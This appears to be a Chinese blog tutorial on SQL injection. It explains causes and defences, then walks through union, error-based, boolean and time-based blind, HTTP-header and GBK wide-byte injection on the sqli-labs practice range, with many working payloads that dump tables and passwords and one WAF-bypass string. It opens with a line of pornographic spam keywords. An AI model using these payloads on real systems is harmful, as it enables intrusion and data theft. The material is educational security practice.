小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

sql注入詳解

 acerbookstore 2022-05-09 發(fā)布于天津

目錄 

前言   

一、漏洞原因分析

二、漏洞危害

三、sql注入防范

四、如何挖掘sql注入漏洞

五、常見的注入手法

聯(lián)合查詢(union注入)

報(bào)錯(cuò)注入

基于布爾的盲注

基于時(shí)間的盲注

HTTP頭注入

寬字節(jié)注入

堆疊查詢

二階注入

六、sql注入getshell的幾種方式


前言   

結(jié)構(gòu)化查詢語言(Structured Query Language,縮寫:SQL),是一種特殊的編程語言,用于數(shù)據(jù)庫中的標(biāo)準(zhǔn)數(shù)據(jù)查詢語言。

SQL注入(SQL Injection)是一種常見的Web安全漏洞,主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺(tái)處理時(shí),沒有做嚴(yán)格的判斷,導(dǎo)致其傳入的“數(shù)據(jù)”拼接到SQL語句中后,被當(dāng)作SQL語句的一部分執(zhí)行。 從而導(dǎo)致數(shù)據(jù)庫受損(被脫庫、被刪除、甚至整個(gè)服務(wù)器權(quán)限陷)

注入產(chǎn)生的原因是后臺(tái)服務(wù)器接收相關(guān)參數(shù)未經(jīng)過濾直接帶入數(shù)據(jù)庫查詢

在學(xué)習(xí)sql注入前,我們需要了解sql語句的基本語法 ——> mysql基礎(chǔ)學(xué)習(xí)

一、漏洞原因分析

        我們都知道web分為前端和后端,前端負(fù)責(zé)進(jìn)行展示,后端負(fù)責(zé)處理來自前端的請(qǐng)求并提供前端展示的資源,即然有資源,那么就需要有存儲(chǔ)資源的地方——如mysql數(shù)據(jù)庫。那服務(wù)器如何對(duì)數(shù)據(jù)獲取了?就需要使用SQL語句這一語法結(jié)構(gòu)進(jìn)行查詢獲取。SQL語句通過特有的語法對(duì)數(shù)據(jù)進(jìn)行查詢

我們可以舉一個(gè)例子,以sqli-labs第一關(guān)為例,按要求在url后面加上?id=1,顯示如下

當(dāng)我們改變id的值為2是,頁面發(fā)生了改變。說明它將我們輸入的數(shù)據(jù)代入到了數(shù)據(jù)中進(jìn)行查詢,頁面根據(jù)輸入數(shù)據(jù)的不同展示的內(nèi)容也不同。

ps:url中?代表傳值的意思,id代表變量,后面的"="代表變量的值

為了更清楚的看清sql語句的執(zhí)行與變化過程,我們先修改源代碼,打開Less-1/index.php,在源碼中添加如下語句將執(zhí)行的sql語句打印出來,方便我們查看

  1. echo '執(zhí)行的sql語句為:'.$sql;
  2. echo '<br/>';
  3. echo '<br/>';

訪問頁面如下,打印出了執(zhí)行的sql語句

在1后面加上單引號(hào), ?id=1',頁面顯示有語法錯(cuò)誤,說靠近 '1'' limit 0,1有語法錯(cuò)誤,我們輸入的數(shù)據(jù) 1' 被完整的帶入到了SQL語句中,即直接與原有的sql語句進(jìn)行了拼接。然后執(zhí)行的sql語句變成了

$sql="SELECT * FROM users WHERE id='  1 ' ' LIMIT 0,1";

我們輸入的那個(gè)單引號(hào)和前面的單引號(hào)產(chǎn)生了閉合,導(dǎo)致原有后面的那個(gè)單引號(hào)變成了多余,而sql語法中引號(hào)是必須成對(duì)出現(xiàn)的否則就會(huì)報(bào)錯(cuò)。

既然輸入的單引號(hào)成了多余也就證明程序沒有對(duì)我們的輸入進(jìn)行過濾,那我們就構(gòu)造語句將單引號(hào)進(jìn)行閉合就好了。我們?cè)?后面加上單引號(hào),與前面的引號(hào)構(gòu)成閉合,再接著在后面插入我們自己想要查詢的語句就可以查詢我們想要查詢的數(shù)據(jù),就這樣被脫庫的風(fēng)險(xiǎn)就悄悄的發(fā)生。

二、漏洞危害

SQL注入漏洞對(duì)于數(shù)據(jù)安全的影響:

  • 數(shù)據(jù)庫信息泄漏:數(shù)據(jù)庫中存放的用戶的隱私信息的泄露。
  • 網(wǎng)頁篡改:通過操作數(shù)據(jù)庫對(duì)特定網(wǎng)頁進(jìn)行篡改。
  • 網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫一些字段的值,嵌入網(wǎng)馬鏈接,進(jìn)行掛馬攻擊。
  • 數(shù)據(jù)庫被惡意操作:數(shù)據(jù)庫服務(wù)器被攻擊,數(shù)據(jù)庫的系統(tǒng)管理員帳戶被竄改。
  • 服務(wù)器被遠(yuǎn)程控制,被安裝后門:經(jīng)由數(shù)據(jù)庫服務(wù)器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)。
  • 破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)。

三、sql注入防范

解決SQL注入問題的關(guān)鍵是對(duì)所有可能來自用戶輸入的數(shù)據(jù)進(jìn)行嚴(yán)格的檢查、對(duì)數(shù)據(jù)庫配置使用最小權(quán)限原則。通常修復(fù)使用的方案有:

代碼層面:

  1. 對(duì)輸入進(jìn)行嚴(yán)格的轉(zhuǎn)義和過濾
  2. 使用參數(shù)化(Parameterized):目前有很多ORM框架會(huì)自動(dòng)使用參數(shù)化解決注入問題,但其也提供了"拼接"的方式,所以使用時(shí)需要慎重!
  3. PDO預(yù)處理 (Java、PHP防范推薦方法:)

?沒有進(jìn)行PDO預(yù)處理的SQL,在輸入SQL語句進(jìn)行執(zhí)行的時(shí)候,web服務(wù)器自己拼湊SQL的時(shí)候有可能會(huì)把危險(xiǎn)的SQL語句拼湊進(jìn)去。但如果進(jìn)行了PDO預(yù)處理的SQL,會(huì)讓MYSQL自己進(jìn)行拼湊,就算夾帶了危險(xiǎn)的SQL語句,也不會(huì)進(jìn)行處理只會(huì)當(dāng)成參數(shù)傳進(jìn)去,而不是以拼接進(jìn)SQL語句傳進(jìn)去,從而防止了SQL注入

網(wǎng)絡(luò)層面:

  1. 通過WAF設(shè)備啟用防SQL Inject注入策略(或類似防護(hù)系統(tǒng))
  2. 云端防護(hù)(如阿里云盾)

四、如何挖掘sql注入漏洞

1. 注入可能存在的地方

竟然是sql注入,那么這個(gè)地方肯定是與數(shù)據(jù)庫有數(shù)據(jù)交互的,所以我們可以優(yōu)先觀察那種頁面存在傳值或者查詢的地方。比如url中的GET型傳參,如?id=1

如我們看見這種就可以考慮

或者是搜索框,前端將用戶輸入的數(shù)據(jù)代入到數(shù)據(jù)庫中進(jìn)行查詢,這種以POST方法進(jìn)行發(fā)送數(shù)據(jù)。如下這種地方

或者是HTTP請(qǐng)求頭部字段如Cookie值,下面會(huì)講到。

2. 漏洞探測(cè)

此時(shí)需要我們用burp截取查詢的數(shù)據(jù)包,找到傳參的變量然后在其后面加上單引號(hào)、雙引號(hào)等如下payload進(jìn)行測(cè)試

  1. #判斷如下閉合方式是否會(huì)報(bào)錯(cuò),會(huì)報(bào)錯(cuò)則肯定存在注入
  2. =test'
  3. =test"

  4. #若不報(bào)錯(cuò)則判斷是否存在布爾盲注,如果頁面會(huì)有不同的顯示在可能存在漏洞
  5. =test" and -1=-1 or '
  6. =test" and -1=-2 or '

  7. =test" and -1=-1 or "
  8. =test" and -1=-2 or "

ps:目前網(wǎng)站的sql注入基本都能通過漏洞掃描器xray檢測(cè)出來 ——> xray與burp聯(lián)動(dòng),但是這樣動(dòng)靜太大(公網(wǎng)上),如果在內(nèi)網(wǎng)中可以直接掛上xray進(jìn)行檢測(cè)。所以在公網(wǎng)時(shí)可以手動(dòng)檢測(cè)是否存在漏洞,然后在存在漏洞的地方打上*,接著復(fù)制整個(gè)請(qǐng)求包在txt文檔中用sqlmap -r進(jìn)行注入 ——> sqlmap -r

補(bǔ)充:

get型

1. 進(jìn)行url編碼

在url中進(jìn)行測(cè)試payload需要先進(jìn)行url編碼

不進(jìn)行編碼的話,也可以用+代替空格,#代替--+ 。 %23代表#,也是注釋符

post型

如果是post型的話,我們可以用上面的方法進(jìn)行編碼或者+代替空格也可以不使用,直接像在瀏覽器中探測(cè)一樣

五、常見的注入手法

SQL 注入漏洞根據(jù)不同的標(biāo)準(zhǔn),有不同的分類。如按照參數(shù)類型可分為兩種:數(shù)字型和字符型。

參數(shù)類型分類

1. 數(shù)字型:當(dāng)輸入的參數(shù)為整形時(shí),如果存在注入漏洞,可以認(rèn)為是數(shù)字型注入。

如 www./text.php?id=3 對(duì)應(yīng)的sql語句為 select * from table where id=3

2. 字符型:字符型注入正好相反

當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。字符型和數(shù)字型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來閉合,而字符串一般需要通過單引號(hào)來閉合的。即看參數(shù)是否被引號(hào)包裹

例如數(shù)字型語句:select * from table where id =3

則字符型如下:select * from table where name=’admin’

注入手法分類

@   UNION query SQL injection(聯(lián)合查詢注入)
@   Error-based SQL injection(錯(cuò)型注入)
@   Boolean-based blind SQL injection(基于布爾的盲注)
@   Time-based blind SQL injection(基于時(shí)間的盲注)
@   Stacked queries SQL injection(可多語句查詢注入)

為了練習(xí)sql注入,我們使用sqli-labs靶場(chǎng)進(jìn)行sql注入學(xué)習(xí),網(wǎng)上有很多安裝教程這里就不演示了。建議學(xué)這個(gè)之前先學(xué)習(xí)mysql語法,不然理解不了sql語句

聯(lián)合查詢(union注入)

聯(lián)合查詢適合于有顯示位的注入,即頁面某個(gè)位置會(huì)根據(jù)我們輸入的數(shù)據(jù)的變化而變化 ,

漏洞靶場(chǎng)實(shí)戰(zhàn),傳送門 -》webug 4.0 第一關(guān) 顯錯(cuò)注入

我們以sqli-labs第一關(guān)為例來學(xué)習(xí)聯(lián)合查詢。如下,要求我們傳入一個(gè)id值過去

傳參?id=1

1. 頁面觀察

當(dāng)我們輸入id=1和id=2時(shí),頁面中name值和password的值是不一樣的,說明此時(shí)我們輸入的數(shù)據(jù)和數(shù)據(jù)庫有交互并且將數(shù)據(jù)顯示在屏幕上了

2. 注入點(diǎn)判斷

開始判斷是否存在注入,輸入?id=1',頁面發(fā)生報(bào)錯(cuò),說明后端對(duì)我前端的數(shù)據(jù)輸入沒有很好的過濾,產(chǎn)生了sql注入漏洞

繼續(xù)判斷 

?id=1' and 1=1 --+   頁面正常顯示   傳送門 -》關(guān)于sql注入中的 --+

?id=1' and 1=2 --+  頁面不正常顯示,說明程序?qū)ξ覀兊妮斎胱龀隽苏_的判斷,所以注入點(diǎn)就是單引號(hào)

3. 判斷當(dāng)前表的字段個(gè)數(shù)

?id=1 order by 3 --+   

傳送門 -》關(guān)于order by 

?id=1 order by 4 --+ ,此時(shí)顯示未知的列,說明此時(shí)當(dāng)前表中只有3列

4. 判斷顯示位

上面我們判斷出來了表中有3列,接下來判斷我們的輸入會(huì)在屏幕哪個(gè)地方進(jìn)行回顯

?id=-1' union select 1,2,3 --+ 

讓union select前面的參數(shù)查不出來,所以id=-1'

如下,在name和password中回顯了我們的輸入,這時(shí)我們就隨便選一個(gè)地方來放置接下來的測(cè)試語句。

5. 爆數(shù)據(jù)庫名字

?id=-1' union select 1,database(),3 --+

6. 爆數(shù)據(jù)庫中的表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

其中爆出來數(shù)據(jù)庫中存在三個(gè)表

7. 爆表中的字段

我們這里選擇一個(gè)表,users進(jìn)行進(jìn)一步的獲取表中的字段值

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

獲取到三個(gè)字段,分別為id,username,password

8. 爆相應(yīng)字段的所有數(shù)據(jù)

?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+

至此,一次完整的脫庫過程結(jié)束了,聯(lián)合查詢也就結(jié)束了。

報(bào)錯(cuò)注入

       報(bào)錯(cuò)注入用在數(shù)據(jù)庫的錯(cuò)誤信息會(huì)回顯在網(wǎng)頁中的情況,如果聯(lián)合查詢不能使用,首選報(bào)錯(cuò)注入。
       報(bào)錯(cuò)注入利用的是數(shù)據(jù)庫的報(bào)錯(cuò)信息得到數(shù)據(jù)庫的內(nèi)容,這里需要構(gòu)造語句讓數(shù)據(jù)庫報(bào)錯(cuò)。

       推薦三種報(bào)錯(cuò)注入的方法,直接套用就行。以less-1為例子

1. group by 重復(fù)鍵沖

and (select 1 from (select count(*),concat((select 查詢的內(nèi)容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

提交如下,獲取數(shù)據(jù)庫名字

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

2. extractvalue() 函數(shù)

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+

提交 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+  獲取數(shù)據(jù)庫名字

3. updatexml() 函數(shù)

and updatexml(1,concat('^',(需要查詢的內(nèi)容),'^'),1)

1. 提交如下,獲取數(shù)據(jù)庫名字

?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

2. 獲取當(dāng)前數(shù)據(jù)庫中表的名字

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+

這里是說要顯示的內(nèi)容超過一行它不能顯示那么多,所以在 table_schema='security' 后加上 limit 0,1,顯示第一行(顯示第0行的往下一行,不包括第0行)

如果要看第二行則,limit1,1(第一行的往下一行,不包括第一行,即顯示第二行),看第三行則limit2,1。以這個(gè)方法獲取第四個(gè)表為users

3. 爆表中的字段

?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

總共爆出的字段為: id , username , password

4. 爆字段中的內(nèi)容

?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

三組用戶名和密碼。

基于布爾的盲注

       布爾盲注,即在頁面沒有錯(cuò)誤回顯時(shí)完成的注入攻擊。此時(shí)我們輸入的語句讓頁面呈現(xiàn)出兩種狀態(tài),相當(dāng)于true和false,根據(jù)這兩種狀態(tài)可以判斷我們輸入的語句是否查詢成功。以less-8關(guān)為例

1. 我們輸入正確的id,顯示You are in .....

我們輸入錯(cuò)誤的語句如id=1' ,或者id=-1時(shí),就什么都不顯示。這就是布爾盲注,屏幕上能得到信息不多,就是兩種狀態(tài)

源碼如下

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
  2. $result=mysql_query($sql);
  3. $row = mysql_fetch_array($result);

  4. if($row)
  5. {
  6. echo '<font size="5" color="#FFFF00">';
  7. echo 'You are in...........';
  8. echo "<br>";
  9. echo "</font>";
  10. }
  11. else
  12. {
  13. echo '<font size="5" color="#FFFF00">';

所以,我們構(gòu)造判斷語句,根據(jù)頁面是否回顯證實(shí)猜想。一般用到的函數(shù)ascii() 、substr() 、length(),exists()、concat()等。

1. 判斷數(shù)據(jù)庫類型

  • MySQL數(shù)據(jù)庫表      information_schema.tables
  • access                     msysobjects 
  • SQLServer               sysobjects

用下的語句判斷數(shù)據(jù)庫。哪個(gè)頁面正常顯示,就屬于哪個(gè)數(shù)據(jù)庫

  1. //判斷是否是 Mysql數(shù)據(jù)庫
  2. http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
  3. //判斷是否是 access數(shù)據(jù)庫
  4. http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
  5. //判斷是否是 Sqlserver數(shù)據(jù)庫
  6. http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

所以當(dāng)前數(shù)據(jù)庫為mysql數(shù)據(jù)庫

2. 判斷當(dāng)前數(shù)據(jù)庫名

  1. 1:判斷當(dāng)前數(shù)據(jù)庫的長(zhǎng)度,利用二分法
  2. http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ //正常顯示
  3. http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ //不顯示任何數(shù)據(jù)
  4. http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ //正常顯示
  5. http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ //不顯示任何數(shù)據(jù)

  6. 大于7正常顯示,大于8不顯示,說明大于7而不大于8,所以可知當(dāng)前數(shù)據(jù)庫長(zhǎng)度為8個(gè)字符

  7. 2:判斷當(dāng)前數(shù)據(jù)庫的字符,和上面的方法一樣,利用二分法依次判斷
  8. //判斷數(shù)據(jù)庫的第一個(gè)字符
  9. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100為ascii表中的十進(jìn)制,對(duì)應(yīng)字母s
  10. //判斷數(shù)據(jù)庫的第二個(gè)字符
  11. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
  12. //判斷數(shù)據(jù)庫的第三個(gè)字符
  13. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
  14. ...........
  15. 由此可以判斷出當(dāng)前數(shù)據(jù)庫為 security

3. 判斷當(dāng)前庫的表名

  1. //猜測(cè)當(dāng)前數(shù)據(jù)庫中是否存在admin表
  2. http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+

  3. 1:判斷當(dāng)前數(shù)據(jù)庫中表的個(gè)數(shù)
  4. // 判斷當(dāng)前數(shù)據(jù)庫中的表的個(gè)數(shù)是否大于5,用二分法依次判斷,最后得知當(dāng)前數(shù)據(jù)庫表的個(gè)數(shù)為4
  5. http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

  6. 2:判斷每個(gè)表的長(zhǎng)度
  7. //判斷第一個(gè)表的長(zhǎng)度,用二分法依次判斷,最后可知當(dāng)前數(shù)據(jù)庫中第一個(gè)表的長(zhǎng)度為6
  8. http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
  9. //判斷第二個(gè)表的長(zhǎng)度,用二分法依次判斷,最后可知當(dāng)前數(shù)據(jù)庫中第二個(gè)表的長(zhǎng)度為6
  10. http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+

  11. 3:判斷每個(gè)表的每個(gè)字符的ascii值
  12. //判斷第一個(gè)表的第一個(gè)字符的ascii值
  13. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
  14. //判斷第一個(gè)表的第二個(gè)字符的ascii值
  15. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
  16. .........
  17. 由此可判斷出存在表 emails、referers、uagents、users ,猜測(cè)users表中最有可能存在賬戶和密碼,所以以下判斷字段和數(shù)據(jù)在 users 表中判斷

4. 判斷表的字段

  • 判斷字段個(gè)數(shù)
  • 判斷每個(gè)字段的長(zhǎng)度
  • 猜每個(gè)字段的字符
  1. //如果已經(jīng)證實(shí)了存在admin表,那么猜測(cè)是否存在username字段
  2. http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)
  3. 1:判斷表中字段的個(gè)數(shù)
  4. //判斷users表中字段個(gè)數(shù)是否大于5
  5. http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+

  6. 2:判斷每個(gè)字段的長(zhǎng)度
  7. //判斷第一個(gè)字段的長(zhǎng)度
  8. http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
  9. //判斷第二個(gè)字段的長(zhǎng)度
  10. http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+

  11. 3:判斷每個(gè)字段名字的ascii值
  12. //判斷第一個(gè)字段的第一個(gè)字符的ascii
  13. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
  14. //判斷第一個(gè)字段的第二個(gè)字符的ascii
  15. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
  16. ...........

  17. 由此可判斷出users表中存在 id、username、password 字段

5. 爆字段中的數(shù)據(jù)

  • 猜字段中數(shù)據(jù)的長(zhǎng)度
  • 猜字段數(shù)據(jù)的每個(gè)字符ascii碼 得字符
  1. 我們知道了users中有三個(gè)字段 id 、username 、password,我們現(xiàn)在爆出每個(gè)字段的數(shù)據(jù)

  2. 1: 判斷數(shù)據(jù)的長(zhǎng)度
  3. // 判斷id字段的第一個(gè)數(shù)據(jù)的長(zhǎng)度
  4. http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
  5. // 判斷id字段的第二個(gè)數(shù)據(jù)的長(zhǎng)度
  6. http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+

  7. 2:判斷數(shù)據(jù)的ascii值
  8. // 判斷id字段的第一行數(shù)據(jù)的第一個(gè)字符的ascii值
  9. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
  10. // 判斷id字段的第二行數(shù)據(jù)的第二個(gè)字符的ascii值
  11. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
  12. ...........

一般布爾盲注,手工去注入過于繁瑣,不建議手工注入,可以借助于工具。

基于時(shí)間的盲注

       也叫延時(shí)注入。通過觀察頁面,既沒有回顯數(shù)據(jù)庫內(nèi)容,又沒有報(bào)錯(cuò)信息也沒有布爾類型狀態(tài),那么我們可以考慮用“絕招”--延時(shí)注入。延時(shí)注入就是將頁面的時(shí)間線作為判斷依據(jù),一點(diǎn)一點(diǎn)注入出數(shù)據(jù)庫的信息。我們以第9關(guān)為例,在id=1后面加單引號(hào)或者雙引號(hào),頁面不會(huì)發(fā)生任何改變,所以我們考慮絕招延時(shí)注入。

1. 延時(shí)注入

?id=1' and sleep(5) --+    

如圖所示,觀察請(qǐng)求的時(shí)間線,大概在5秒以上,說明構(gòu)造的sleep(5) 語句起作用,可以把這個(gè)時(shí)間線作為sql 注入的判斷依據(jù)。

2. 獲取數(shù)據(jù)庫名字

延時(shí)注入與布爾盲注類似,構(gòu)造方法如下,提交參數(shù)

?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

if(expr1,expr2,expr3)       如果expr1的值為true,則返回expr2的值,如果expr1的值為false,則返回expr3的值。 傳送門-》mysql基礎(chǔ)學(xué)習(xí)

代碼的含義就是如果數(shù)據(jù)庫名字的第一個(gè)字符的acsii值為115,則進(jìn)行延時(shí),否則返回0即什么都不返回。

頁面顯示延時(shí)5 秒,說明數(shù)據(jù)庫名字第一個(gè)字母的ASCII 值是115,也就是字母s。

3. 數(shù)據(jù)庫名字第二個(gè)字母的判斷,

?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

與盲注類似,后面就是猜數(shù),這就是延時(shí)注入

可以繞waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

HTTP頭注入

       常見的sql注入一般是通過請(qǐng)求參數(shù)或者表單進(jìn)行注入,而HTTP頭部注入是通過HTTP協(xié)議頭部字段值進(jìn)行注入。http頭注入常存在于以下地方

產(chǎn)生注入的條件

- 能夠?qū)φ?qǐng)求頭消息進(jìn)行修改

- 修改的請(qǐng)求頭信息能夠帶入數(shù)據(jù)庫進(jìn)行查詢

- 數(shù)據(jù)庫沒有對(duì)輸入的請(qǐng)求信息做過濾

1. User-Agent注入

       User-Agent:使得服務(wù)器能夠識(shí)別客戶使用的操作系統(tǒng),瀏覽器版本等。(很多數(shù)據(jù)量大的網(wǎng)站中會(huì)記錄客戶使用的操作系統(tǒng)或?yàn)g覽器版本等然后將其存入數(shù)據(jù)庫中)。這里獲取User-Agent就可以知道客戶都是通過什么瀏覽器訪問系統(tǒng)的,然后將其值保存到數(shù)據(jù)庫中。

以sqli-labs less-18關(guān)為例,登錄用戶密碼:dumb ,0

1.1 判斷注入點(diǎn):user-agent值后面加上',引發(fā)報(bào)錯(cuò),確定存在sql注入

1.2 采用報(bào)錯(cuò)注入函數(shù)獲取當(dāng)前數(shù)據(jù)庫名

' and updatexml(1,concat('^',(database()),'^'),1) and '

2. cookie注入

       cookie:服務(wù)器端用來記錄客戶端的狀態(tài)。由服務(wù)端產(chǎn)生,保存在瀏覽器中。傳送門-》cookie 。以sqli-labs less-20關(guān)為例,登錄后

2.1 首先判斷注入點(diǎn),加 ' 單引號(hào)報(bào)錯(cuò)

2.2 采用報(bào)錯(cuò)注入函數(shù)獲取當(dāng)前數(shù)據(jù)庫名

' and updatexml(1,concat('^',(database()),'^'),1) and '

3. Referer注入

       Referer:是HTTP header的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)送請(qǐng)求的時(shí)候,一般會(huì)帶上Referer,告訴服務(wù)器該網(wǎng)頁是從哪個(gè)頁面鏈接過來的,服務(wù)器因此可以獲得一些信息用于處理。

以19關(guān)為例

1. 判斷輸入點(diǎn),加單引號(hào)引發(fā)報(bào)錯(cuò)

2. 使用報(bào)錯(cuò)注入函數(shù):

' and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

方法都是一樣的。

4. X-Forwarded-For 注入

       X-Forwarded-For(XFF)用來識(shí)別客戶端最原始的ip地址。詳見,傳送門 -》X-Forwarded-For sql注入

寬字節(jié)注入

寬字節(jié)案例引入       

        寬字節(jié)注入準(zhǔn)確來說不是注入手法,而是另外一種比較特殊的情況。為了說明寬字節(jié)注入問題,我們以SQLi-labs 32 關(guān)為例子。 使用?id=1' 進(jìn)行測(cè)試的時(shí)候,發(fā)現(xiàn)提交的單引號(hào)會(huì)被轉(zhuǎn)義[\']。此時(shí),轉(zhuǎn)義后的單引號(hào)會(huì)被作為普通字符帶入數(shù)據(jù)庫查詢。也就是說,我們提交的單引號(hào)不會(huì)影響到原來SQL 語句的結(jié)構(gòu)。

       接著我們查看這關(guān)的源碼,發(fā)現(xiàn)傳入的id經(jīng)過addslashes轉(zhuǎn)移函數(shù)的處理,所有的單引號(hào)雙引號(hào)字符都會(huì)被添加轉(zhuǎn)義字符。接著在帶入到數(shù)據(jù)庫查詢前設(shè)置了mysql_query("SET NAMES gbk"),即設(shè)定字符集為gbk。漏洞就是由于這個(gè)設(shè)置導(dǎo)致寬字節(jié)注入。

 仔細(xì)看該函數(shù),其利用正則匹配將 [ /,'," ]這些三個(gè)符號(hào)都過濾掉了

關(guān)于preg_replace的正則用法可詳看——> 命令執(zhí)行與代碼執(zhí)行漏洞 中搜索preg_replace 

而我們要繞過這個(gè)轉(zhuǎn)義處理,使單引號(hào)發(fā)揮作用不再被轉(zhuǎn)義,有兩個(gè)思路:

  1. 讓斜杠(\)失去作用
  2. 讓斜杠(\)消失

第一個(gè)思路就是借鑒程序員的防范思路,對(duì)斜杠(\)轉(zhuǎn)義,使其失去轉(zhuǎn)義單引號(hào)的作用,成為普通的內(nèi)容。第二個(gè)思路就是寬字節(jié)注入。

關(guān)于編碼

在理解寬字節(jié)注入之前,我們需要先了解編碼的有關(guān)知識(shí),關(guān)于什么是編碼,為什么要編碼,可以詳看 ——> 計(jì)算機(jī)中的編碼問題

  1. 某字符的大小為一個(gè)字節(jié)時(shí),稱其字符為窄字節(jié).
  2. 當(dāng)某字符的大小為兩個(gè)字節(jié)時(shí),稱其字符為寬字節(jié).
  3. 所有英文默認(rèn)占一個(gè)字節(jié),漢字占兩個(gè)字節(jié)
  4. 常見的寬字節(jié)編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

寬字節(jié)注入       

寬字節(jié)是指多個(gè)字節(jié)寬度的編碼,GB2312、GBK、GB18030、BIG5、Shift_JIS等這些都是常說的寬字節(jié),實(shí)際上只有兩字節(jié)。轉(zhuǎn)義函數(shù)在對(duì)這些編碼進(jìn)行轉(zhuǎn)義時(shí)會(huì)將轉(zhuǎn)義字符 '\’ 轉(zhuǎn)為 %5c ,于是我們?cè)谒懊孑斎胍粋€(gè)單字符編碼與它組成一個(gè)新的多字符編碼,使得原本的轉(zhuǎn)義字符沒有發(fā)生作用。

        由于在數(shù)據(jù)庫查詢前使用了GBK多字節(jié)編碼,即在漢字編碼范圍內(nèi)使用兩個(gè)字節(jié)會(huì)被編碼為一個(gè)漢字(前一個(gè)ascii碼要大于128,才到漢字的范圍)。然后mysql服務(wù)器會(huì)對(duì)查詢語句進(jìn)行GBK編碼,即下面所說的

       我們?cè)谇懊婕由?%df'  ,轉(zhuǎn)義函數(shù)會(huì)將%df’改成%df\’ , 而\ 就是%5c ,即最后變成了%df%5c',而%df%5c在GBK中這兩個(gè)字節(jié)對(duì)應(yīng)著一個(gè)漢字 “運(yùn)” ,就是說 \ 已經(jīng)失去了作用,%df ' ,被認(rèn)為運(yùn)' ,成功消除了轉(zhuǎn)義函數(shù)的影響。

  • '           %27
  • \           %5c
  • %df\'    %df%5c' =》  運(yùn)'

我們輸入 ?id=1%df',按道理來說將轉(zhuǎn)義符吃掉了,結(jié)果應(yīng)該是 id=' 運(yùn)'  ' ,為什么這里轉(zhuǎn)變成了中文后后面還有一個(gè)反斜杠了?那個(gè)反斜杠是哪里來的?

 其實(shí)這個(gè)是瀏覽器顯示編碼的問題,我們將瀏覽器編碼切換為GB2312即簡(jiǎn)體中文,如下就正常了。

 聯(lián)合注入如下

GB2312與GBK的不同

gb2312和gbk應(yīng)該都是寬字節(jié)家族的一員。但我們來做個(gè)小實(shí)驗(yàn)。把源碼中set names修改成gb2312

結(jié)果就不能注入了,我開始不信,然后再把數(shù)據(jù)庫編碼也改成gb2312,也是不成功的。雖然執(zhí)行的語句還是顯示被轉(zhuǎn)換成了中文了,但就是注入不成功

